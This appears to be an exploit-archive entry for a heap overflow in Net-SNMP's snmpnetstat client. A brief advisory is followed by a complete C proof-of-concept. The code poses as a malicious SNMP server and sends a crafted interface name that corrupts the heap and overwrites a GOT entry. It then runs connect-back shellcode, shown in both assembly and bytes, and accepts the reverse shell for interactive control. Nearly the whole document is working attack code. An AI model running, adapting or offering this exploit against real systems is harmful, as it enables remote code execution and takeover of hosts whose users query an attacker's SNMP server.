// source: https://www.securityfocus.com/bid/3780/info
Net-SNMP is a package of software tools related to the Simple Network Management Protocol. One of the tools included is snmpnetstat, which can be used to retrieve and display a variety of information about a remote SNMP host.
A heap overflow vulnerability exists in the snmpnetstat client. A SNMP host may return malicious information when a list of interfaces is requested. Under some circumstances, this will result in a heap overflow in the SNMP client. Exploitation of this vulnerability can result in the execution of abritary code as the snmpnetstat client.
Earlier versions of Net-SNMP may also be vulnerable.
/*
* Proof of concept xploit for snmpnetstat
*
* This causes snmpnetstat to overwrite the GOT entry
* of endprotoent with the address of a connect-back
* shellcode. The shellcode has some size limitations.
*
* USE THIS AT YOUR OWN RISK
*
* Send comments to Juan M. de la Torre / jmtorre@axiomasistemas.com
* http://www.axiomasistemas.com
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/poll.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <getopt.h>
/*
* Constants
*/
#define ASN_SEQUENCE 0x10
#define ASN_CONSTRUCTOR 0x20
#define ASN_INTEGER 0x02
#define ASN_OCTET_STRING 0x04
#define ASN_CONTEXT 0x80
#define ASN_OBJECTID 0x06
#define SNMP_GETREQUEST (ASN_CONSTRUCTOR | ASN_CONTEXT)
#define SNMP_GETNEXTREQUEST (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x1)
#define SNMP_GETRESPONSE (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x2)
enum exploit_states
{
STATE_LISTENING, STATE_QUITTING, STATE_WAITING_GETNEXT1,
STATE_WAITING_GETNEXT2, STATE_WAITING_CONNECT
};
/*
* Globals (I know globals sucks, but...)
*/
static int state;
static int session_id;
static struct sockaddr_in client;
static unsigned short bindport = 3234;
static int use_bind_addr = 0;
static unsigned long bind_addr;
/*
* 101 bytes connect-back shellcode
xorl %eax, %eax
pushl %eax # push IPPROTO_IP
inc %eax
pushl %eax # push SOCK_STREAM
inc %eax
jmp skip
nop
nop
nop
nop
nop
nop
nop
nop
skip:
pushl %eax # push AF_INET
movl %esp, %ecx
xorl %ebx, %ebx
movb $0x1, %bl # SYS_SOCKET
movb $102, %al # __NR_socketcall
int $0x80
movl %eax, %edx # save fd in eax and edx
movb $0x3, %bl # SYS_CONNECT
movl %eax, (%ebp) # put fd as first argument
pushl $0x0100007f # fill struct sockaddr_in
pushl $0x01010002
movl %esp, 0x4(%ebp)
movb $16, %al # sizeof struct sockaddr_in
movl %eax, 0x8(%ebp)
movl %ebp, %ecx
movb $102, %al # __NR_socketcall
int $0x80
decb %bl # %ebx contains '2'
movzbl %dl, %ecx
loop1:
movb $6, %al # __NR_close
int $0x80
xchgb %cl, %bl
movb $63, %al # __NR_dup2
int $0x80
xchgb %cl, %bl
decb %bl
jge loop1
pushl $0x0068732f
pushl $0x6e69622f
movl %esp, %ebx
xorl %edx, %edx
pushl %edx
pushl %ebx
movl %esp, %ecx
movb $0xb, %al # __NR_execve
int $0x80
*/
static u_char shellcode[] = {
0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0xeb, 0x08, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x50, 0x89, 0xe1, 0x31, 0xdb, 0xb3,
0x01, 0xb0, 0x66, 0xcd, 0x80, 0x89, 0xc2, 0xb3, 0x03, 0x89, 0x45,
0x00, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68, 0x02, 0x00, 0x01, 0x01,
0x89, 0x65, 0x04, 0xb0, 0x10, 0x89, 0x45, 0x08, 0x89, 0xe9, 0xb0,
0x66, 0xcd, 0x80, 0xfe, 0xcb, 0x0f, 0xb6, 0xca, 0xb0, 0x06, 0xcd,
0x80, 0x86, 0xcb, 0xb0, 0x3f, 0xcd, 0x80, 0x86, 0xcb, 0xfe, 0xcb,
0x7d, 0xf0, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69,
0x6e, 0x89, 0xe3, 0x31, 0xd2, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b,
0xcd, 0x80
};
static void __attribute__ ((noreturn))
fatal (u_char *fmt, ...)
{
va_list ap;
va_start (ap, fmt);
vfprintf (stderr, fmt, ap);
va_end (ap);
exit (EXIT_FAILURE);
}
/*
* ASN.1 code
*/
static u_char *
asn_append_len (u_char *pkt, int len)
{
if (len <= 0x7f)
{
/* short len */
*pkt++ = (u_char) len;
return (pkt);
}
if (len <= 0xff)
{
*pkt++ = 0x81;
*pkt++ = (u_char) (len);
return (pkt);
}
*pkt++ = 0x82;
*pkt++ = (u_char) ((len & 0xff00) >> 8);
*pkt++ = (u_char) (len & 0xff);
return (pkt);
}
static u_char *
asn_append_sequence (u_char *pkt, int len)
{
*pkt++ = (ASN_SEQUENCE | ASN_CONSTRUCTOR);
pkt = asn_append_len (pkt, len);
return (pkt);
}
static u_char *
asn_append_objectid (u_char *pkt, u_char *str, int nlen)
{
int i = 0;
*pkt++ = ASN_OBJECTID;
pkt = asn_append_len (pkt, nlen);
while (nlen--)
*pkt++ = str[i++];
return (pkt);
}
static u_char *
asn_append_octet_string (u_char *pkt, u_char *str, int nlen)
{
int i = 0;
*pkt++ = ASN_OCTET_STRING;
pkt = asn_append_len (pkt, nlen);
while (nlen--)
*pkt++ = str[i++];
return (pkt);
}
static u_char *
asn_append_integer (u_char *pkt, unsigned long n, int nlen)
{
if (nlen != 4 && nlen != 2 && nlen != 1)
fatal ("error: bad nlen in asn_append_integer(): %i\n",
nlen);
*pkt++ = ASN_INTEGER;
*pkt++ = (u_char) (nlen & 0xff);
switch (nlen)
{
case 1:
*pkt++ = (u_char) (n & 0xff);
break;
case 2:
*pkt++ = (u_char) ((n & 0xff00) >> 8);
*pkt++ = (u_char) (n & 0xff);
break;
case 4:
*pkt++ = (u_char) ((n & 0xff000000) >> 24);
*pkt++ = (u_char) ((n & 0xff0000) >> 16);
*pkt++ = (u_char) ((n & 0xff00) >> 8);
*pkt++ = (u_char) (n & 0xff);
break;
}
return (pkt);
}
static u_char *
asn_get_octet_string (u_char *pkt, u_char *dst)
{
int len, i = 0;
if (*pkt++ != ASN_OCTET_STRING)
fatal ("error: error while talking to client\n");
len = *pkt++;
while (len--)
dst[i++] = *pkt++;
return (pkt);
}
static u_char *
asn_get_objectid (u_char *pkt, u_char *dst)
{
int len, i = 0;
if (*pkt++ != ASN_OBJECTID)
fatal ("error: error while talking to client\n");
len = *pkt++;
while (len--)
dst[i++] = *pkt++;
return (pkt);
}
static u_char *
asn_get_integer (u_char *pkt, int *pdst)
{
int len, nbits, dst;
if (*pkt++ != ASN_INTEGER)
fatal ("error: error while talking to client\n");
len = *pkt++;
if (len != 1 && len != 2 && len != 4)
fatal ("error: incorrent integer len received from client\n");
switch (len)
{
case 4:
nbits = 24; break;
case 2:
nbits = 8; break;
case 1:
nbits = 0; break;
}
dst = 0;
while (len--)
{
dst |= ((*pkt++) << nbits);
nbits -= 8;
}
*pdst = dst;
return (pkt);
}
static unsigned long
get_source_addr (struct sockaddr_in *s_in)
{
int sd, slen;
struct sockaddr_in me;
if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
fatal ("socket(): %s\n", strerror (errno));
if (connect (sd, (struct sockaddr *) s_in, sizeof (struct sockaddr_in)) < 0)
fatal ("connect(): %s\n", strerror (errno));
slen = sizeof (me);
if (getsockname (sd, (struct sockaddr *) &me, &slen) < 0)
fatal ("getsockname(): %s\n", strerror (errno));
close (sd);
return ((unsigned long) me.sin_addr.s_addr);
}
typedef struct
{
unsigned long psize;
unsigned long size; /* 0x1 -> PREV_INUSE */
unsigned long fd;
unsigned long bk;
} chunk_t;
#define PREV_INUSE 0x1
static u_char *
make_evil_str (int *plen)
{
int len;
static u_char buf[BUFSIZ];
chunk_t *c;
unsigned long *ip;
unsigned short *port;
memset (buf, 0x90, BUFSIZ);
c = (chunk_t *) (buf - 4);
/* leave psize of first chunk unused */
c->size = 0x16UL;
c->fd = 0x807dbe8;
c->bk = 0x8050df0 - 8;
c++;
c->size = 0UL; /* zero PREV_INUSE bit */
len = 12 + 16 + 14 + sizeof (shellcode);
memcpy (buf + 16 + 4, shellcode, sizeof (shellcode));
ip = (unsigned long *) (buf + 16 + 4 + 35);
*ip = (use_bind_addr ? bind_addr : get_source_addr (&client));
port = (unsigned short *) (buf + 16 + 4 + 42);
*port = htons (bindport);
*plen = len;
return (buf);
}
/*
* SNMP code
*/
static void
snmp_waiting_getnext2 (int sd, u_char *buf)
{
u_char *ptr = buf;
int version, foo;
u_char comm[BUFSIZ], resp[BUFSIZ];
u_char oids[11][BUFSIZ];
int i, len, evil_str_len;
u_char *evil_str = NULL;
if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
fatal ("error: protocol error\n");
ptr += 2;
ptr = asn_get_integer (ptr, &version);
if (version != 0)
fatal ("error: client uses a version different from 0\n");
memset (comm, 0, sizeof (comm));
ptr = asn_get_octet_string (ptr, comm);
if (*ptr++ != SNMP_GETNEXTREQUEST)
fatal ("error: protocol error\n");
ptr += 2; /* skip len */
ptr = asn_get_integer (ptr, &session_id);
ptr = asn_get_integer (ptr, &foo);
ptr = asn_get_integer (ptr, &foo);
if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
fatal ("error: protocol error\n");
ptr += 2;
for (i = 0; i < 11; i++)
{
if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
fatal ("error: protocol error\n");
ptr++;
ptr = asn_get_objectid (ptr, oids[i]);
ptr += 2;
}
memset (resp, 0, sizeof (resp));
ptr = resp;
evil_str = make_evil_str (&evil_str_len);
/* calculate len of the response */
len = 3 + (2 + strlen (comm)) + 4 + 6 + 3 + 3 + 4;
len += (11 * 14) + 40 + evil_str_len + 2;
ptr = asn_append_sequence (ptr, len);
ptr = asn_append_integer (ptr, 0, 1);
ptr = asn_append_octet_string (ptr, comm, strlen (comm));
*ptr++ = SNMP_GETRESPONSE;
/* calculate len of the getresponse PDU */
len -= (3 + (2 + strlen (comm)) + 4);
ptr = asn_append_len (ptr, len);
ptr = asn_append_integer (ptr, session_id, 4);
ptr = asn_append_integer (ptr, 0, 1);
ptr = asn_append_integer (ptr, 0, 1);
/* calculate len of data */
len -= (6 + 3 + 3 + 4);
ptr = asn_append_sequence (ptr, len);
for (i = 0; i < 11; i++)
{
len = 12;
oids[i][9]++;
switch (oids[i][8])
{
case 1: /* ifindex */
len += 4;
ptr = asn_append_sequence (ptr, len);
ptr = asn_append_objectid (ptr, oids[i], 10);
ptr = asn_append_integer (ptr, 2, 1);
break;
case 2: /* ifname */
len += 3 + evil_str_len;
ptr = asn_append_sequence (ptr, len);
ptr = asn_append_objectid (ptr, oids[i], 10);
ptr = asn_append_octet_string (ptr, evil_str, evil_str_len);
break;
case 4: /* ifmtu */
case 8: /* ifoperstatus */
len += 4;
ptr = asn_append_sequence (ptr, len);
ptr = asn_append_objectid (ptr, oids[i], 10);
ptr = asn_append_integer (ptr, 2, 2);
break;
case 0xb: /* INUCASTPKTS */
case 0xc: /* INNUCASTPKTS */
case 0xe: /* INERRORS */
case 0x11: /* OUTUCASTPKTS */
case 0x12: /* OUTNUCASTPKTS */
case 0x14: /* OUTERRORS */
len += 4;
ptr = asn_append_sequence (ptr, len);
ptr = asn_append_objectid (ptr, oids[i], 10);
*ptr++ = 0x41;
*ptr++ = 2;
*ptr++ = 1;
*ptr++ = 1;
break;
case 0x15: /* OUTQLEN */
len += 3;
ptr = asn_append_sequence (ptr, len);
ptr = asn_append_objectid (ptr, oids[i], 10);
*ptr++ = 0x42;
*ptr++ = 1;
*ptr++ = 0;
break;
}
}
len = (ptr - resp);
if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
perror ("sendto()"), exit (EXIT_FAILURE);
state = STATE_WAITING_CONNECT;
}
static void
snmp_waiting_getnext1 (int sd, u_char *buf)
{
u_char *ptr = buf;
u_char len;
int version, foo;
u_char comm[BUFSIZ], oid1[BUFSIZ], oid2[BUFSIZ], oid3[BUFSIZ];
u_char resp[BUFSIZ];
if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
fatal ("error: protocol error\n");
len = *ptr++;
ptr = asn_get_integer (ptr, &version);
if (version != 0)
fatal ("error: client uses a version different from 0\n");
memset (comm, 0, sizeof (comm));
ptr = asn_get_octet_string (ptr, comm);
if (*ptr++ != SNMP_GETNEXTREQUEST)
fatal ("error: protocol error\n");
ptr++; /* skip len */
ptr = asn_get_integer (ptr, &session_id);
ptr = asn_get_integer (ptr, &foo);
ptr = asn_get_integer (ptr, &foo);
if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
fatal ("error: protocol error\n");
ptr++;
if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
fatal ("error: protocol error\n");
ptr++;
ptr = asn_get_objectid (ptr, oid1);
if (memcmp (oid1, "\x2B\x06\x01\x02\x01\x04\x14\x01\x02\x00\x00\x00\x00", 0x0D) != 0)
fatal ("error: protocol error\n");
ptr += 2;
if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
fatal ("error: protocol error\n");
ptr++;
ptr = asn_get_objectid (ptr, oid2);
if (memcmp (oid2, "\x2B\x06\x01\x02\x01\x04\x14\x01\x01\x00\x00\x00\x00", 0x0D) != 0)
fatal ("error: protocol error\n");
ptr += 2;
if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
fatal ("error: protocol error\n");
ptr++;
ptr = asn_get_objectid (ptr, oid3);
if (memcmp (oid3, "\x2B\x06\x01\x02\x01\x04\x14\x01\x03\x00\x00\x00\x00", 0x0D) != 0)
fatal ("error: protocol error\n");
memset (resp, 0, sizeof (resp));
ptr = resp;
ptr = asn_append_sequence (ptr, 0x54 + 9);
ptr = asn_append_integer (ptr, 0, 1);
ptr = asn_append_octet_string (ptr, comm, strlen (comm));
*ptr++ = SNMP_GETRESPONSE;
*ptr++ = 0x47 + 9;
ptr = asn_append_integer (ptr, session_id, 4);
ptr = asn_append_integer (ptr, 0, 1);
ptr = asn_append_integer (ptr, 0, 1);
ptr = asn_append_sequence (ptr, 0x39 + 9);
ptr = asn_append_sequence (ptr, 0x11 + 1);
ptr = asn_append_objectid (ptr, oid1, 0x0D);
ptr = asn_append_integer (ptr, 1, 1);
ptr = asn_append_sequence (ptr, 0x11 + 4);
ptr = asn_append_objectid (ptr, oid2, 0x0D);
ptr = asn_append_integer (ptr, 0xaabbccdd, 4);
ptr = asn_append_sequence (ptr, 0x11 + 4);
ptr = asn_append_objectid (ptr, oid3, 0x0D);
ptr = asn_append_integer (ptr, 0xaabbccdd, 4);
len = (ptr - resp);
if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
perror ("sendto()"), exit (EXIT_FAILURE);
state = STATE_WAITING_GETNEXT2;
}
static void
snmp_listening (int sd, u_char *buf)
{
u_char *ptr = buf;
u_char len;
int version, foo;
u_char comm[BUFSIZ], oid[BUFSIZ];
u_char resp[BUFSIZ];
if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
fatal ("error: protocol error\n");
len = *ptr++;
ptr = asn_get_integer (ptr, &version);
if (version != 0)
fatal ("error: client uses a version different from 0\n");
memset (comm, 0, sizeof (comm));
ptr = asn_get_octet_string (ptr, comm);
if (*ptr++ != SNMP_GETREQUEST)
fatal ("error: protocol error\n");
ptr++; /* skip len */
ptr = asn_get_integer (ptr, &session_id);
ptr = asn_get_integer (ptr, &foo);
ptr = asn_get_integer (ptr, &foo);
if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
fatal ("error: protocol error\n");
ptr++;
if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
fatal ("error: protocol error\n");
ptr++;
ptr = asn_get_objectid (ptr, oid);
if (memcmp (oid, "\x2B\x06\x01\x02\x01\x02\x01\x00", 8) != 0)
fatal ("error: protocol error\n");
memset (resp, 0, sizeof (resp));
ptr = resp;
ptr = asn_append_sequence (ptr, 42);
ptr = asn_append_integer (ptr, 0, 1);
ptr = asn_append_octet_string (ptr, comm, strlen (comm));
*ptr++ = SNMP_GETRESPONSE;
*ptr++ = 0x1D;
ptr = asn_append_integer (ptr, session_id, 4);
ptr = asn_append_integer (ptr, 0, 1);
ptr = asn_append_integer (ptr, 0, 1);
ptr = asn_append_sequence (ptr, 0x0F);
ptr = asn_append_sequence (ptr, 0x0D);
ptr = asn_append_objectid (ptr, oid, 8);
ptr = asn_append_integer (ptr, 1, 1);
len = (ptr - resp);
if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
perror ("sendto()"), exit (EXIT_FAILURE);
state = STATE_WAITING_GETNEXT1;
}
static void
bindshell (int sd)
{
struct pollfd fds[2];
u_char *cmds = "pwd; id; uname -a\n";
u_char buf[BUFSIZ];
int n;
write (sd, cmds, strlen (cmds));
while (1)
{
memset (&fds, 0, sizeof (fds));
fds[0].events = fds[1].events = POLLIN;
fds[0].fd = sd;
fds[1].fd = 0;
if (poll (fds, 2, -1) < 0)
fatal ("poll(): %s\n", strerror (errno));
if (fds[0].revents & (POLLERR | POLLNVAL | POLLHUP))
fatal ("connection closed\n");
if (fds[0].revents & POLLIN)
{
n = read (fds[0].fd, buf, BUFSIZ);
if (n < 1)
fatal ("connection closed\n");
write (1, buf, n);
}
if (fds[1].revents & POLLIN)
{
n = read (fds[1].fd, buf, BUFSIZ);
write (sd, buf, n);
}
}
}
static void
snmp_waiting_connect (void)
{
int sd, val, fsd, slen;
struct sockaddr_in s_in;
struct pollfd pfd;
if ((sd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
fatal ("socket(): %s\n", strerror (errno));
memset (&s_in, 0, sizeof (s_in));
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = (use_bind_addr ? bind_addr : INADDR_ANY);
s_in.sin_port = htons (bindport);
if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0)
fatal ("bind(): %s\n", strerror (errno));
listen (sd, 5);
fprintf (stderr, "awaiting connection from client...\n");
memset (&pfd, 0, sizeof (pfd));
pfd.fd = sd;
pfd.events = POLLIN;
if ((val = poll (&pfd, 1, 20 * 1000)) < 0)
fatal ("poll(): %s\n", strerror (errno));
if (val < 1 || pfd.revents & (POLLERR | POLLNVAL | POLLHUP) || !(pfd.revents & POLLIN))
fatal ("no connection from client in 20 seconds. aborting\n");
memset (&s_in, 0, sizeof (s_in));
slen = sizeof (s_in);
fsd = accept (sd, &s_in, &slen);
close (sd);
if (fsd < 0)
fatal ("accept(): %s\n", strerror (errno));
fprintf (stderr, "received connection from %s:%i\n",
inet_ntoa (s_in.sin_addr),
htons (s_in.sin_port));
bindshell (fsd);
}
static void
snmp_proccess (int sd, u_char *buf)
{
switch (state)
{
case STATE_LISTENING:
snmp_listening (sd, buf);
break;
case STATE_WAITING_GETNEXT1:
snmp_waiting_getnext1 (sd, buf);
break;
case STATE_WAITING_GETNEXT2:
snmp_waiting_getnext2 (sd, buf);
break;
}
}
static void __attribute__ ((noreturn))
usage (u_char *p)
{
fprintf (stderr, "Usage: %s [options]\n", p);
fprintf (stderr, "options:\n"
"-p <port>\tsnmp port to listen on\n"
"-P <port>\tconnect-back port\n"
"-a <ip>\t\tbind socket to this address\n"
"-h\t\tshow this\n\n");
exit (EXIT_FAILURE);
}
int
main (int argc, char *argv[])
{
int sd, slen;
struct sockaddr_in s_in;
u_char buf[BUFSIZ];
unsigned short snmp_port = 161;
unsigned long snmp_ip = INADDR_ANY;
char opt;
fprintf (stderr, "\nproof of concept snmpnetstat xploit - Juan M. de la Torre <jmtorre@axiomasistemas.com>\n\n");
while ((opt = getopt (argc, argv, "p:P:a:h")) != EOF)
switch (opt)
{
case 'p':
snmp_port = atoi (optarg);
break;
case 'P':
bindport = atoi (optarg);
break;
case 'a':
if (inet_aton (optarg, (struct in_addr *) &snmp_ip) == 0)
fatal ("%s is not a valid ip address\n", optarg);
bind_addr = snmp_ip;
use_bind_addr = 1;
break;
case 'h': /* fallthrough */
default:
usage (argv[0]);
}
fprintf (stderr, "use -h to show usage\n");
if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
perror ("socket()"), exit (EXIT_FAILURE);
memset (&s_in, 0, sizeof (s_in));
s_in.sin_family = AF_INET;
s_in.sin_port = htons (snmp_port);
s_in.sin_addr.s_addr = snmp_ip;
if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0)
perror ("bind()"), exit (EXIT_FAILURE);
state = STATE_LISTENING;
fprintf (stderr, "bound socket to %s:%i\n", inet_ntoa (s_in.sin_addr), snmp_port);
while (1)
{
memset (buf, 0, sizeof (buf));
slen = sizeof (client);
if (recvfrom (sd, buf, sizeof (buf), 0, (struct sockaddr *) &client, &slen) < 1)
perror ("recvfrom()"), exit (EXIT_FAILURE);
fprintf (stderr, "procesing snmp packet from %s:%i\n",
inet_ntoa (client.sin_addr),
htons (client.sin_port));
snmp_proccess (sd, buf);
if (state == STATE_QUITTING)
break;
if (state == STATE_WAITING_CONNECT)
{
snmp_waiting_connect ();
break;
}
}
close (sd);
exit (EXIT_SUCCESS);
}